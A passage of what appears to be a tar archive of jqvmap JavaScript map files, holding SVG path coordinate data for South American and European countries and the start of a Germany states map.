-15.17637,5.20735 3.63576,12.83072 -9.10113,29.03916 11.23567,9.1715 -6.07523,14.96526 -10.32087,16.20845 5.46537,11.30604 -13.34676,2.13455 -10.93074,-13.44059 -1.82961,-41.86988 -16.98252,-71.12016 5.13698,-24.86391 -10.93074,-31.78358 7.27153,-41.26001 6.6851,-7.95176 -1.64195,-6.02833 8.58508,-7.83447 19.14052,1.31356 10.69617,11.42333 12.36159,0.21111 12.66651,7.74065 -3.72958,8.72582 0.89135,8.81965 17.94423,-0.84443 8.39743,-12.83072 0,0 m -38.82053,235.94911 0.60987,13.44058 10.32087,-0.9148 8.79619,-5.81722 -14.87143,-3.04935 -4.8555,-3.65921 0,0 z","name":"Argentina"},"cl":{"path":"m 480.81312,507.40549 -10.01593,22.00221 17.28745,1.82961 0.30494,-14.66032 -7.57646,-9.1715 0,0 m -3.40119,-3.44811 -7.52955,8.32706 -0.9148,9.78137 -14.5665,-8.25669 -15.4813,-22.30715 -4.55056,-7.95176 6.38017,-8.25669 -0.60987,-10.39124 -7.27152,-3.04935 -5.7703,-4.26908 1.21974,-5.81722 7.57645,-2.13454 1.52467,-33.61319 -11.82208,-6.73202 -7.71719,-174.96216 1.9938,-3.47157 15.106,34.83293 4.83204,0.0938 1.57159,5.55919 -6.42709,7.78757 -7.3888,41.91679 10.50852,32.27617 -4.8555,24.44169 17.12325,71.87077 1.80616,42.03408 12.26776,14.19119 12.99491,-1.89998 0,0 m -49.98584,-87.93848 -3.02589,4.57402 1.52467,7.95176 3.02589,0.30493 1.52468,-10.0863 -3.04935,-2.74441 0,0 z","name":"Chile"},"br":{"path":"m 549.30615,330.8952 14.66032,-28.19473 0.5395,-23.69109 27.3503,-17.6393 h 15.31711 l 12.03319,-20.38371 2.18146,-39.12547 -4.92587,-10.46161 28.99225,-26.45895 1.10246,-29.20336 -39.38349,-19.28126 -47.56982,-14.87143 -22.42443,-2.204914 6.02833,-12.666519 -1.64196,-19.281257 -4.90241,-1.6185 -7.24807,14.402301 -3.79995,4.761673 -9.75791,-4.315999 -32.81567,11.564063 -10.93074,-13.768975 1.75924,-14.378845 -10.32087,10.508519 -11.39986,-6.145607 -1.14937,1.6185 0.0235,4.996238 9.82828,5.277716 -14.75414,15.551671 -9.31224,-0.09383 -9.42952,-9.593716 -10.67272,0.328391 -1.31356,11.399868 6.12215,7.435722 -7.22461,23.15158 -8.44434,0.65678 -13.44059,8.49126 -3.28391,16.67759 11.65789,12.47886 2.13454,-2.41602 8.18633,-2.20491 6.99004,11.77517 20.00841,-8.58509 7.7641,0.44568 5.34809,18.92941 28.54658,9.05421 4.92587,15.106 12.15048,1.4543 5.79375,14.42576 -3.91723,12.83072 5.11352,6.70856 -0.75061,9.99248 13.6986,-1.29011 12.54924,15.8566 -0.98517,11.14185 7.43571,6.28635 -17.82695,26.99845 31.38482,17.56893 0,0 z","name":"Brazil"}}});
js/jqvmap/maps/continents/jquery.vmap.europe.js000060400000036511150710775200015725 0ustar00/** Add World Map Data Points */
jQuery.fn.vectorMap('addMap', 'europe_en', {"width":950,"height":550,"pathes":{"ee":{"path":"m 579.52752,247.70418 -14.10713,-0.50382 -8.94292,5.46651 -0.12596,4.0558 5.79401,5.46652 18.01178,3.04815 -0.62978,-17.53316 0,0 m -27.73563,10.02615 -3.90466,-0.12596 -2.26721,2.29241 1.63743,2.41836 3.90465,0.25192 2.01531,-2.92219 -1.38552,-1.91454 0,0 z","name":"Estonia"},"pt":{"path":"m 213.92602,432.50764 -3.42602,3.45121 6.14668,3.45121 0.68017,-4.81154 -3.40083,-2.09088 0,0 m 18.46523,-2.06569 -4.10618,2.74586 3.42602,2.74585 5.46651,-1.38552 -4.78635,-4.10619 0,0 m 2.72067,9.64828 -2.0405,5.51689 2.72066,3.45121 3.42602,-2.74585 -4.10618,-6.22225 0,0 m 16.39954,11.0086 -1.36033,3.45121 2.04049,2.06569 5.46652,-3.45121 -6.14668,-2.06569 0,0 m 51.94448,30.27995 -2.72066,3.45121 2.72066,3.45121 4.10619,-2.06568 -4.10619,-4.83674 0,0 m 57.31023,-63.43172 -1.56186,21.79049 -4.45886,4.03061 0.45345,2.46875 3.12372,5.16421 -2.01531,6.29783 3.35045,1.13361 7.8093,-0.90689 -0.45344,-6.29782 5.11384,-29.19673 -1.10842,-4.03061 -10.25287,-0.45345 0,0 z","name":"Portugal"},"es":{"path":"m 322.19828,524.98494 -4.40848,2.54433 2.04049,2.06568 2.36799,-4.61001 0,0 m -15.31632,0.47864 -5.46651,1.38552 2.72066,4.13138 h 4.10618 l -1.36033,-5.5169 0,0 m -12.99872,-4.13138 -3.42601,3.45121 4.78635,4.13138 2.72066,-6.19706 -4.081,-1.38553 0,0 M 404.67463,402.22769 H 372.5809 l -6.47417,-2.9222 -3.12372,0.22673 -3.7787,7.85968 1.33514,8.08642 12.26817,1.1336 1.56186,5.16422 -5.34056,30.10362 0.22673,5.39094 8.691,4.71078 10.02614,0.68016 20.05228,-4.9375 9.79942,-12.34374 0.22673,-12.57046 17.382,-15.71938 0.8817,-6.9528 -15.82015,-0.22672 -15.82014,-7.68335 0,0 m 32.09373,30.75859 -4.00542,1.36033 0.8817,3.60235 h 5.794 l 2.44356,-2.69547 -5.11384,-2.26721 0,0 z","name":"Spain"},"is":{"path":"m 298.87112,181.32508 -4.93749,-2.79624 -6.65051,4.20695 -5.71843,5.29018 0.15115,2.94738 7.40625,0.93208 -0.45345,5.29018 -2.61989,2.64508 0.62978,1.71301 7.40624,0.47864 v 8.56504 l 10.65593,1.86416 6.32302,3.57717 7.10395,0.30229 12.19259,-6.0711 9.42155,-12.44451 0.15115,-8.4139 -5.71843,-4.83673 -4.78635,-4.0558 -2.16645,1.56186 -3.24968,4.20695 -3.70312,-0.47864 -3.70312,-4.0558 -4.78635,0.45345 -6.9528,5.76881 -4.18176,4.50924 -2.3176,-2.0153 -0.15115,-4.98788 2.3176,-1.56187 -1.66263,-2.5947 0,0 z","name":"Iceland"},"no":{"path":"m 505.18796,21.738124 -4.15657,-4.181757 -9.22002,4.484053 h -16.92856 l -2.67028,9.874994 9.49713,8.388706 4.15657,-0.604591 5.94514,-10.17729 5.03827,3.602358 -3.57717,7.179523 -1.78858,10.479586 4.15656,6.574932 8.91773,-14.963639 11.588,-14.081943 -4.45886,-3.879462 -6.49936,-2.69547 0,0 m 5.03826,-17.9614046 -7.43143,6.8772276 4.45886,6.877228 h 8.01084 l 3.27487,4.484054 9.79942,5.088644 11.2857,-6.574932 7.73374,-6.574932 -2.67028,-5.3909405 -7.73374,-4.4840534 -5.64285,5.0886449 -3.85427,-4.7863491 -2.97257,0.3022957 -3.85428,8.3887064 -5.64285,-5.6932361 -0.60459,-3.8794619 -4.15657,0.2771044 0,0 m 16.92856,30.8341646 -5.94515,5.390941 -5.03826,3.879462 2.36799,4.181757 4.76115,1.486288 7.73374,-3.602358 3.57716,-4.484053 -3.27487,-5.390941 -4.18176,-1.461096 0,0 m 46.55355,108.498976 5.08864,-3.72831 -0.45344,-4.18176 -3.22449,-1.86416 0.45344,-5.11383 h 2.77105 v -2.79624 l -12.01626,-3.24968 -18.01178,1.86416 -1.83897,7.91007 -4.15657,-1.38552 -2.77104,-4.66039 -8.79177,0.45344 -0.93208,8.84215 -4.15656,1.86416 -2.3176,-4.6604 -18.49043,14.88807 3.70313,4.18176 -6.92761,3.24967 -15.71938,31.18685 -5.54209,3.72831 0.45344,2.79624 5.54209,2.79623 -1.38552,6.04592 -9.24521,-0.47864 -2.77105,-3.24968 -5.99553,6.978 -3.70312,2.79623 -0.93208,6.52455 -3.22449,1.86416 -8.31313,1.86416 -4.15657,13.04909 2.77105,21.41262 3.22449,9.77423 3.70312,3.72831 8.31313,-0.45344 12.01626,-11.63839 4.61001,-7.91007 1.38552,11.63839 7.85969,-13.95599 0.45344,-39.12211 6.39859,-4.03061 1.91454,-21.58895 19.39731,-27.93716 9.24521,-3.24968 4.15657,-5.11384 13.85522,3.24968 6.92761,4.18176 2.3176,-11.63839 11.56281,-6.97799 6.95281,12.11702 0,0 z","name":"Norway"},"ge":{"path":"m 674.47357,400.11162 8.23756,10.75669 10.27805,4.73596 6.32302,-0.0252 10.85746,-2.94738 2.72066,-4.25733 -32.11892,-12.01626 -6.29783,3.75351 0,0 z","name":"Georgia"},"am":{"path":"m 710.39638,414.54624 12.09183,15.76976 -3.55198,4.15656 -8.56504,-1.48628 -10.63073,-9.52232 0.5794,-6.24744 10.07652,-2.67028 0,0 z","name":"Armenia"},"az":{"path":"m 714.65371,409.07972 -2.54432,4.33291 11.86511,15.56823 4.13137,-1.33514 6.80166,7.12914 2.94738,-12.49489 7.38105,1.18399 -0.30229,-3.57717 -12.14221,-10.63073 -2.3176,6.24745 -15.82015,-6.42379 0,0 z","name":"Azerbaijan"},"cy":{"path":"m 643.61421,464.8029 3.09854,2.24203 -9.59789,9.09406 -4.58482,-0.15115 -3.40083,-2.39317 0.45344,-4.45886 6.95281,-0.45345 7.07875,-3.87946 0,0 z","name":"Cyprus"},"gb":{"path":"m 399.03178,261.35787 -4.61001,6.978 1.83896,2.79623 h 10.63074 v 4.6604 l -2.77105,3.72831 1.83897,9.77423 5.99553,11.63838 4.61001,10.70631 7.38105,2.79624 3.22449,5.59247 -0.45344,5.11383 -4.61001,2.79624 -0.45345,2.3176 3.22449,1.86416 -2.77104,3.72831 -6.47417,2.79624 -12.4697,-1.38553 -19.4225,8.84215 -6.47417,-3.24967 18.49043,-10.70631 -2.3176,-1.38552 -9.69866,-0.93208 5.99553,-8.84215 0.93208,-7.45663 7.85969,-0.93208 -1.38552,-14.43462 -9.24521,-0.45344 -2.77105,-3.24968 0.45345,-10.70631 -5.54209,0.45344 5.54209,-18.61638 10.17729,-7.45662 3.27487,3.22448 0,0 m -19.39731,31.21204 -8.31314,0.93208 -0.45344,7.45663 5.54209,3.72831 5.99553,-1.38552 2.3176,-4.18176 -5.08864,-6.54974 0,0 z","name":"United Kingdom"},"ie":{"path":"m 382.38032,305.36709 -2.29241,15.11479 -20.32939,7.45663 h -6.47416 l -4.61001,-3.24968 v -2.79624 l 10.17729,-6.52454 -2.77105,-5.59248 0.45344,-7.91007 8.79177,0.45345 4.03061,-9.47194 -0.52902,8.4139 6.82685,5.41613 6.72608,-1.30995 0,0 z","name":"Ireland"},"se":{"path":"m 529.01894,149.25654 4.9375,4.55963 h 9.24521 l 5.08864,9.77423 1.38553,16.75222 -12.4697,8.84215 v 8.84215 l -8.79177,12.11702 -5.08865,0.45344 -6.92761,11.63839 0.45345,11.18494 12.01625,8.84215 -0.93208,5.11384 -4.61001,6.97799 -6.92761,6.04591 0.45345,20.0271 -10.63074,3.72831 -3.70312,7.91007 h -5.08864 l -2.77105,-13.95598 -11.56281,-17.73469 9.49713,-15.89571 0.65497,-39.27326 6.54974,-3.60236 1.58705,-22.47064 18.66676,-26.72799 8.96811,-3.14891 0,0 m 1.93973,114.84719 -5.31536,4.20695 2.67027,6.17187 4.71078,-4.58482 -2.06569,-5.794 0,0 z","name":"Sweden"},"fi":{"path":"m 551.86746,180.393 5.2146,2.29241 3.22449,6.04591 -3.22449,4.18176 -16.17282,17.6843 -2.77104,9.32079 3.70312,13.50254 12.4697,9.32079 16.62626,-7.91008 13.40178,-1.86415 12.4697,-20.0271 -9.24521,-21.89124 -8.79177,-20.95918 1.38552,-13.50254 -5.54209,-0.93208 -1.4359,-9.8498 -7.45663,-12.1674 -8.26275,5.71843 -3.24968,13.27582 -8.76657,-5.26499 -12.1926,-2.97257 -2.72066,3.1741 4.68558,4.23214 8.53986,-0.15115 6.87723,11.10937 1.23437,17.63392 0,0 z","name":"Finland"},"lv":{"path":"m 580.28326,267.12668 -17.25605,-2.79623 0.37787,9.64827 15.99648,9.77423 6.54974,-1.91454 -0.37787,-7.35586 -5.29017,-7.35587 0,0 z","name":"Latvia"},"lt":{"path":"m 561.99437,275.51539 -5.41613,-0.12596 -7.43144,7.10395 h -6.29783 l 0.37787,8.89254 -3.7787,6.97799 13.60331,0.12596 3.90465,-0.50383 3.90466,4.71078 8.94291,-0.37787 8.56505,-10.90784 -0.50383,-6.47417 -15.87052,-9.42155 0,0 z","name":"Lithuania"},"by":{"path":"m 561.6165,304.71212 3.77869,6.22225 -1.51147,4.96269 0.25191,3.92985 1.38552,4.71077 7.80931,-4.43367 9.69865,0.25191 6.80166,2.79624 h 17.25604 l 5.03827,-12.06664 3.02295,-4.55962 v -3.04815 l -10.83226,-15.24075 -9.5727,-3.80388 -7.8093,-0.8817 -6.80166,2.16645 0.25191,6.85204 -9.44674,11.94068 -9.32078,0.20153 0,0 z","name":"Belarus"},"pl":{"path":"m 563.6318,326.04916 2.14126,3.92985 0.50383,4.18175 -1.76339,4.0558 -4.03061,7.75893 -3.40083,1.53667 -4.40848,-1.91454 -2.64509,0.12595 -6.42378,2.41837 -7.30548,-2.16645 -11.83992,-8.38871 -11.588,-6.22225 -4.66039,-7.10395 -0.8817,-16.75222 9.06887,-7.88488 11.83992,-3.92985 4.40848,-0.50382 -1.76339,3.55197 1.13361,1.38552 19.92632,0.37787 4.28253,-0.12595 7.05356,10.80707 -1.76339,4.43367 0.75574,5.2146 1.36033,5.2146 0,0 z","name":"Poland"},"it":{"path":"m 478.23326,423.338 -6.6757,3.37564 0.8817,13.02391 5.34055,0.90688 4.00542,-3.82907 v -12.34375 l -3.55197,-1.13361 0,0 m -13.32621,-41.31375 -1.56186,3.95504 0.42826,4.30771 6.02072,7.02838 9.47193,-0.32749 20.90879,24.28443 13.0491,3.77869 7.70854,7.28029 1.83897,16.60108 4.13137,-2.41837 3.57717,-9.04368 -0.8817,-6.49936 6.12149,-0.55421 0.8817,-3.67793 -17.25605,-8.26275 -16.37435,-16.09725 -6.52455,-9.62308 -1.58706,-9.14444 8.33833,-1.99012 -2.14126,-6.02072 -5.11384,-4.30771 -4.40848,-0.20153 -6.14668,1.68781 -5.794,8.11161 -3.50159,2.3176 -5.41614,-3.32526 -5.76881,2.14126 0,0 m 50.81088,65.59818 -3.65274,-1.96492 -12.4697,1.96492 0.42825,3.37563 11.21014,5.64286 1.68781,1.83896 2.94739,0.42826 -0.15115,-11.28571 0,0 z","name":"Italy"},"fr":{"path":"m 478.91342,407.16518 -4.9123,4.9375 -0.45345,4.48405 4.00542,2.46875 1.56186,-0.22672 0.8817,-6.52455 -1.08323,-5.13903 0,0 m -43.90845,-71.19064 -5.56728,1.36033 -11.13456,12.11702 -3.35045,0.22672 -4.45886,-3.14891 -2.897,0.68016 -2.21683,6.9528 -16.27359,0.45345 0.45344,3.60236 11.13456,7.40624 12.92315,10.32844 -0.22673,12.34374 -6.90242,12.11702 14.93845,7.17952 15.16517,0.45345 4.68558,-5.39094 9.5727,0.22672 2.67028,2.46875 9.5727,-0.68017 4.91231,-6.29783 -6.24745,-7.40624 -0.45344,-4.71078 1.33514,-5.16421 -3.12373,-4.48406 -5.34055,1.56186 -0.68017,-4.03061 11.81473,-13.0239 v -7.85969 l -7.80931,-4.48406 -4.00542,-0.68016 -18.49042,-12.11702 0,0 z","name":"France"},"nl":{"path":"m 459.41535,309.7 -11.41167,5.61766 2.41837,2.19165 0.25191,5.61766 -2.41836,-0.47864 -2.67028,-4.15656 -6.3734,10.10171 9.79942,2.0405 3.65274,3.85427 1.93973,0.0504 1.28476,-8.71619 6.17187,-2.59471 -2.64509,-13.52773 0,0 z","name":"Netherlands"},"be":{"path":"m 438.05312,330.48283 -1.61225,4.03061 17.33163,11.43686 4.98787,1.18399 0.17634,-5.41613 -4.35809,-4.88712 h -2.67028 l -3.65274,-4.15656 -10.20248,-2.19165 0,0 z","name":"Belgium"},"de":{"path":"m 462.06044,308.71754 8.99329,-1.4611 v -6.34821 l 7.53221,-1.23437 4.13137,4.15656 4.3581,0.47864 6.80165,-2.94738 6.07111,1.71301 5.34056,4.6352 0.73054,17.35681 5.34056,7.10395 -7.02837,0.98246 -11.66358,7.33067 0.98246,2.44356 10.4292,9.77423 -0.73054,4.88711 -9.69866,4.88712 -8.9933,0.25191 -2.19164,4.6352 h -4.61001 l -2.19165,-4.88711 -8.01083,-1.96493 -0.25192,-8.06122 -6.80165,-4.6352 0.73055,-5.86957 -4.61001,-6.34821 1.20918,-8.31313 6.29783,-2.94739 -2.16645,-15.61861 0,0 z","name":"Germany"},"dk":{"path":"m 476.24314,267.45417 -10.45439,11.56281 -0.37787,7.53221 4.76116,12.41931 7.45663,-1.41071 -0.93208,-10.1521 5.13903,-5.74362 -0.10077,-4.50924 -3.62755,-9.39636 -1.86416,-0.3023 0,0 m 11.76435,20.50573 -2.3428,-0.10077 -3.07334,2.82143 0.37787,4.40848 7.28029,0.20153 0.37787,-4.98788 -2.61989,-2.34279 0,0 z","name":"Denmark"},"ch":{"path":"m 466.5193,362.87886 -10.98341,11.68877 0.22672,1.18399 4.50924,-1.41072 4.0558,5.64286 6.85204,-2.41837 4.73597,3.67793 1.93973,-1.10841 5.84438,-9.16964 -1.48628,-1.41071 -5.76881,-0.15115 -2.79624,-5.71843 -7.12914,-0.80612 0,0 z","name":"Switzerland"},"cz":{"path":"m 505.61621,351.51758 h 7.48182 3.67793 l 5.97034,4.25733 11.05899,-9.19483 -10.7315,-7.65816 -10.63073,-5.13903 -7.28029,1.30995 -9.87499,6.34821 10.32843,10.07653 0,0 z","name":"Czech Republic"},"sk":{"path":"m 524.28297,357.21081 1.73821,1.53667 0.22672,2.6199 19.22097,-0.42825 14.2079,-6.12149 -0.22673,-6.22226 -2.72066,1.20919 -3.90465,-2.09088 -2.39317,-0.10077 -6.29783,2.51913 -8.56505,-2.06568 -11.28571,9.14444 0,0 z","name":"Slovakia"},"at":{"path":"m 485.96699,364.74301 -1.63743,3.40083 1.41071,2.41837 5.86957,-1.20919 h 4.98788 l 5.41614,4.58482 11.51242,-2.09088 8.46429,-5.03826 2.16645,-3.40082 -0.32749,-4.38329 -7.60777,-5.69324 -10.20249,0.10077 -0.8565,5.794 -10.7315,5.23979 -8.46428,0.2771 0,0 z","name":"Austria"},"hu":{"path":"m 526.55019,363.43307 -2.92219,4.58482 0.22672,7.00318 4.66039,2.39317 14.33386,0.42826 19.97671,-16.8278 0.10077,-3.72831 -2.16646,-1.08323 -14.43462,6.54974 -19.77518,0.68017 0,0 z","name":"Hungary"},"si":{"path":"m 521.66308,369.45379 -6.39859,3.82908 -11.94069,2.6199 2.39318,6.90241 8.36351,0.10077 7.70854,-6.44898 -0.12595,-7.00318 0,0 z","name":"Slovenia"},"hr":{"path":"m 523.72877,377.43944 -8.89254,7.33067 h -9.01849 l -1.08322,6.34821 4.13137,1.08322 2.06569,-3.07334 3.24968,2.84662 2.5947,9.06887 17.81026,8.31314 1.76339,-2.01531 -18.06217,-18.64157 1.83897,-3.40083 17.15528,-0.65497 1.7382,-5.46651 -11.18494,0.32748 -4.10618,-2.06568 0,0 z","name":"Croatia"},"ba":{"path":"m 521.66308,386.96175 -0.93208,1.53667 16.90337,17.43239 6.19706,-9.11926 -0.22672,-3.60235 -5.41613,-6.57494 -16.5255,0.32749 0,0 z","name":"Bosnia and Herzegovina"},"mt":{"path":"m 516.14618,466.38995 -4.20695,0.85651 0.15115,4.66039 3.7787,1.25957 1.68781,-1.41072 -1.41071,-5.36575 0,0 z","name":"Malta"},"ua":{"path":"m 573.98543,321.99336 -7.30548,4.10618 1.81378,7.75893 -6.75128,14.23309 0.0504,6.27263 3.1741,2.01531 20.35458,1.00765 5.69324,-4.71077 6.09629,2.04049 8.74139,11.66358 -6.39859,11.48724 7.60777,2.21683 9.95057,-11.46204 5.69324,1.03284 5.29017,3.67793 -4.66039,6.14668 6.29783,9.82461 h 6.70089 l 3.45121,-6.54974 7.10395,-1.4359 0.20153,-5.31537 -13.20025,-2.0405 0.40306,-5.71842 h 12.79719 l 13.80483,-11.05899 6.0963,-5.31537 1.00765,-16.77741 -27.20661,-2.44356 -11.15975,-15.74456 -7.70854,-2.64509 -9.34598,0.40306 -4.20695,10.40401 -19.1454,0.25191 -6.22225,-2.87181 -9.01849,-0.45344 0,0 z","name":"Ukraine"},"md":{"path":"m 587.03453,358.67191 7.80931,12.01625 -0.65498,6.80166 2.79624,0.12595 6.62531,-11.21013 -7.96045,-9.87499 -4.50925,-1.86416 -4.10618,4.00542 0,0 z","name":"Moldova"},"ro":{"path":"m 565.44558,358.3948 -0.65498,3.72832 -14.58577,12.14221 12.1926,17.88583 7.8093,5.46652 h 14.05676 l 4.6352,-3.87947 6.22225,-0.80612 4.6352,2.79624 8.21237,-9.34598 -1.58705,-4.68558 -8.33833,-2.14126 -5.69323,-0.27711 0.2771,-8.01084 -7.55739,-11.89029 -19.62403,-0.98247 0,0 z","name":"Romania"},"rs":{"path":"m 548.74374,375.87757 -5.16422,3.87947 h -2.51913 l -1.71301,5.34055 6.0963,7.07876 0.40306,5.61766 -7.5574,10.68112 1.05804,3.1993 4.38329,0.80612 3.45121,-4.68558 1.86415,-0.12596 3.17411,3.07334 9.67346,-2.94738 -0.80612,-13.75446 -12.34374,-18.16294 0,0 z","name":"Serbia"},"bg":{"path":"m 563.58142,395.65275 0.40306,12.54528 4.23214,8.81696 15.89572,0.2771 7.15433,-5.06345 7.02838,-2.79624 -1.71301,-8.01084 1.58705,-4.28252 -3.57717,-1.86416 -4.9123,0.40306 -3.85427,3.87947 -16.17282,0.12595 -6.07111,-4.03061 0,0 z","name":"Bulgaria"},"al":{"path":"m 544.88947,414.21875 v 11.61319 l 3.32525,6.27264 2.39317,-0.2771 4.10619,-7.48182 -2.39318,-3.35045 -0.93207,-8.28794 -3.17411,-2.94738 -3.32525,4.45886 0,0 z","name":"Albania"},"mk":{"path":"m 562.27147,409.81027 -8.48947,2.79624 0.40306,7.20471 1.99011,2.54432 10.07653,-4.68558 -3.98023,-7.85969 0,0 z","name":"Macedonia"},"gr":{"path":"m 551.66593,433.96874 -0.2771,3.35044 11.66357,5.86958 5.56728,2.14126 -2.92219,3.07334 -6.49936,0.65497 -0.93208,2.94739 2.24203,5.06345 7.28029,3.87946 3.1741,0.27711 0.40306,-8.69101 4.76116,-5.74362 -12.99871,-15.3667 1.71301,-5.2146 3.04814,-0.12595 4.63521,3.72831 2.92219,-1.46109 0.93208,-5.21461 13.65369,0.12596 0.52901,-8.01084 -5.69323,4.00542 -16.70184,-0.40306 -10.85746,5.61766 -5.64285,9.49713 0,0 m 25.31727,32.72351 4.10618,0.12596 1.71301,2.54432 h 5.97034 l 3.98023,-1.4611 1.33514,1.61225 -2.64509,3.4764 -11.66358,0.40306 -2.11607,-2.79624 -2.24202,-1.33514 1.56186,-2.56951 0,0 z","name":"Greece"}}});
js/jqvmap/maps/jquery.vmap.germany.js000060400000154223150710775200013705 0ustar00/** Add Germany Map Data Points */
jQuery.fn.vectorMap('addMap', 'germany_en', {"width":592,"height":801,"pathes":{"th":{"path":"m312.19,352.19c-2.73,0.22 -2.22,4.11 -3.64,5.97 -1.01,2.7 -4.71,2.26 -7.13,2.91 -2.52,0.84 -2.65,-2.93 -5,-3.11 -2.02,-1.67 -5.36,0.2 -4.98,2.55 -0.62,4.82 -6.22,6.91 -9.72,9.65 -2.98,3.28 -7.8,2.07 -11.1,4.73 -2.55,1.59 -5.81,3.14 -7.87,5.03 0.64,3.74 1.96,8.43 6.44,8.84 3.41,0.33 2.07,4.91 5.71,5.17 2.12,1.11 4.61,1.57 6.04,3.67 2.61,-0.18 1.95,2.83 0.13,3.41 -0.75,1.55 1.21,2.98 -0.06,4.88 -2.65,1.33 -1.59,-4.91 -4.58,-2.96 -2.15,1.14 2.24,4.28 1.18,6.62 -0.73,2.87 3.35,2.38 3.93,4.97 0.22,2.4 -1.82,4.2 -4.4,4.04 -1.89,0.05 -3.04,-2.14 -5.19,-1.69 -2.29,-1.13 -3.6,1.4 -2.29,3.19 0.92,3.27 2.06,6.86 1.64,10.24 -1.04,2.07 -1.35,6.09 -4.56,5.07 -2.5,-0.54 -3.05,2.78 -2.17,4.43 0.33,2.11 -1.94,1.58 -0.64,3.71 0.2,3.37 -2.96,5.74 -4.05,8.57 -1.46,3 3.1,3.73 4.61,2.61 -1.8,-1.67 -0.95,-4.04 1.83,-4.18 2.21,-0.46 5.52,-0.43 5.9,2.47 2.29,2.61 -2.68,2.96 -1.96,5.59 0.5,1.86 -0.79,8.31 0.95,7 1.72,-3.38 5.8,-2.18 8.88,-2.88 2.69,0.85 3.11,5.24 6.43,5.5 3.89,0.66 4.77,4.88 6.09,7.93 -0.55,3.14 2.45,3.82 4.54,1.98 0.31,5.02 5.89,6.45 10.06,7.19 -0.2,3.63 -1.27,7.43 0.53,10.84 2.35,0.1 5.18,2.71 7.07,1.85 0.03,-1.3 -1.32,-4.82 1.27,-4.26 2.07,-0.06 5.3,2.5 6.66,0.25 0.29,-2.71 -3.43,-1.58 -4.54,-3.52 -1.94,-1.64 -5.47,-2.54 -4.67,-5.79 -0.91,-3.55 3.89,-3.37 6.02,-4.77 2.87,-1.54 6.27,-0.65 9.38,-0.79 1.61,1.84 2.4,4.9 5.49,4.49 2.33,1.02 3.21,-1.38 4.71,-2.1 2.52,-0.39 4.79,2.85 4.64,5.17 -2.32,0.34 -2,2.87 -0.04,3.79 1.25,1.09 4.62,-1.62 5.78,-2.97 1.07,-2.95 1.98,-5.92 0.84,-9.01 0.33,-2.69 -1.49,-4.1 -2.06,-6.05 -0.35,-1.26 0.15,-3.52 1.89,-2.72 2.51,-0.54 3.16,-3.11 5.03,-4.31 2.41,-0.31 6.41,-0.25 6.75,2.81 -1.09,1.47 -1.71,2.75 -1.31,4.94 2.04,1.91 4.67,0.65 4.88,4.5 0.54,1.96 3.79,3.19 4.05,0.56 1.06,-1.74 3.34,-0.66 4.25,0.63 6.13,-1.07 12.67,-0.94 18.25,-3.97 -1.68,-0.65 -2.19,-2.46 -0.38,-3.31 1.4,-0.73 5.24,-2.7 2.32,-4.13 -1.1,-2.24 -4.24,-0.26 -4.55,-3.08 -1.3,-2.44 2.29,-4.28 3.11,-6.33 2.98,-0.71 2.97,-4.68 5.91,-5.31 1.95,1.54 1.58,4.54 1.16,6.72 1.66,-0.64 6.6,0.71 6.33,-0.74 -3.05,-0.17 -0.61,-3 1.2,-3.1 2.57,-1.22 5.33,-2.23 7.87,-3.14 1.72,-1.51 4.46,-4.54 0.25,-4.48 -1.74,-1.64 -3.31,-4.12 -3.69,-6.5 0.38,-2.82 0.28,-5.87 1.72,-8.41 0.89,2.58 5.82,0.77 5.81,-1.09 0.71,-1.83 4.18,-2.99 5.41,-0.97 2.56,-0.68 0.59,-4.69 3.44,-5.44 3.25,-1.87 7.85,-0.32 10.53,-2.97 -2.57,-1.55 -0.79,-6.34 -4.47,-6.16 -2.74,-0.84 -6.28,-2.6 -5.42,-6.03 0.8,-2.88 -3.5,-2.46 -5.15,-3.47 -2.87,-0.81 -6.3,-2.89 -8.61,0.02 -2.54,2.1 0.01,3.58 1.21,5.21 -0.17,3.21 -2.39,6.03 -3.68,8.9 -1.08,1.71 -2.42,1.35 -2.66,-0.64 -2.24,-4.02 -1.09,1.94 -3.66,-0.66 -2.71,-1.39 -5.95,-1.32 -8.59,0.19 -0.02,-4.6 -5.04,-6.77 -8.31,-9 -2.72,-0.06 -5.6,1.79 -8.33,0.1 -2.65,-0.52 -5.05,-1.27 -4.7,-4.45 -2.02,-1.11 -5.86,-2.21 -7.53,-1.16 -1.29,1.98 -3.84,1.06 -5.84,1.31 -1.81,-1.01 -2.04,-3.39 -2.5,-5.41 3.14,0.3 2.23,-3.59 0.51,-4.83 -1.37,-2.03 -4.15,0.89 -5.53,-1.6 -1.69,-0.96 1.02,-5.32 2.36,-2.94 1.62,-1.63 2.76,-3.73 4,-5.66 -0.78,-1.58 -4.12,-2.02 -3.47,-4.09 -2.15,-0.17 -2.01,-2.77 -1.75,-4.31 -4.91,-2.77 -10.54,-0.91 -15.84,-1.69 -2.69,-0.42 -5.41,-2.8 -8.03,-1.28 -1.99,0.45 -4.28,-1.52 -3.68,-3.5 0.86,-2.86 -0.76,-4.88 -2.35,-7.1 -1.55,-2.64 -4.98,-6.28 -2.16,-9.19 -2.47,-3.43 -7.17,-3.03 -10.89,-3.21 -0.41,0.09 -0.82,0.18 -1.23,0.27z m95.09,106.63c0.36,0.47 0.77,-0.65 0,0z","name":"Thüringen"},"sh":{"path":"m173.41,0.78c-1.96,2.02 -2.32,5.26 -3.72,7.72 0.61,-2.46 2.87,-3.44 4.94,-4.31 1.37,-2.31 1.87,-2.9 -1.22,-3.41z m-4.63,9.69c-1.37,3.14 -2.78,7.11 -2.63,10.16 1.42,-1.81 3.12,-2.33 4.66,-0.67 1.41,1.35 2.9,1.87 4.52,0.27 2.61,-1.53 -0.74,-0.41 -1.92,-1.16 -2.06,-1.81 -4.59,-3.55 -3.89,-6.71 -0.29,-0.68 0.25,-4.89 -0.73,-1.88z m16.78,8.5c-1.27,2.96 0.71,4.89 2.59,6.89 3.39,3 2.55,7.98 4.79,11.67 0.62,3.55 5.38,3.23 6.46,6.57 3.09,5.18 8.01,9.55 9.53,15.49 -0.32,3.65 -4.55,4.93 -6.72,7.41 -1.75,1.07 -3.73,2 -5.62,0.78 -2.44,0.59 -7.26,-0.45 -7.37,2.95 0.9,2.44 -1.97,3.88 -3.95,4.18 -1.94,-2.13 -2.52,-1.01 -2.77,1.45 -0.87,2.9 3.21,3.7 4.93,4.64 1.92,-3.3 6.38,-1.94 9.56,-2.06 2.21,2.21 1.18,5.9 0.57,8.61 -1.14,2.05 -2.44,4.23 -0.74,6.43 0.5,2.36 2.45,2.12 4.01,1.08 3.24,-0.45 3.19,4.26 4.78,6.16 2.07,2.16 -0.11,6.53 -3.11,5.16 -1.14,-1.75 -5.79,-1.46 -5.26,0.73 2.63,2.93 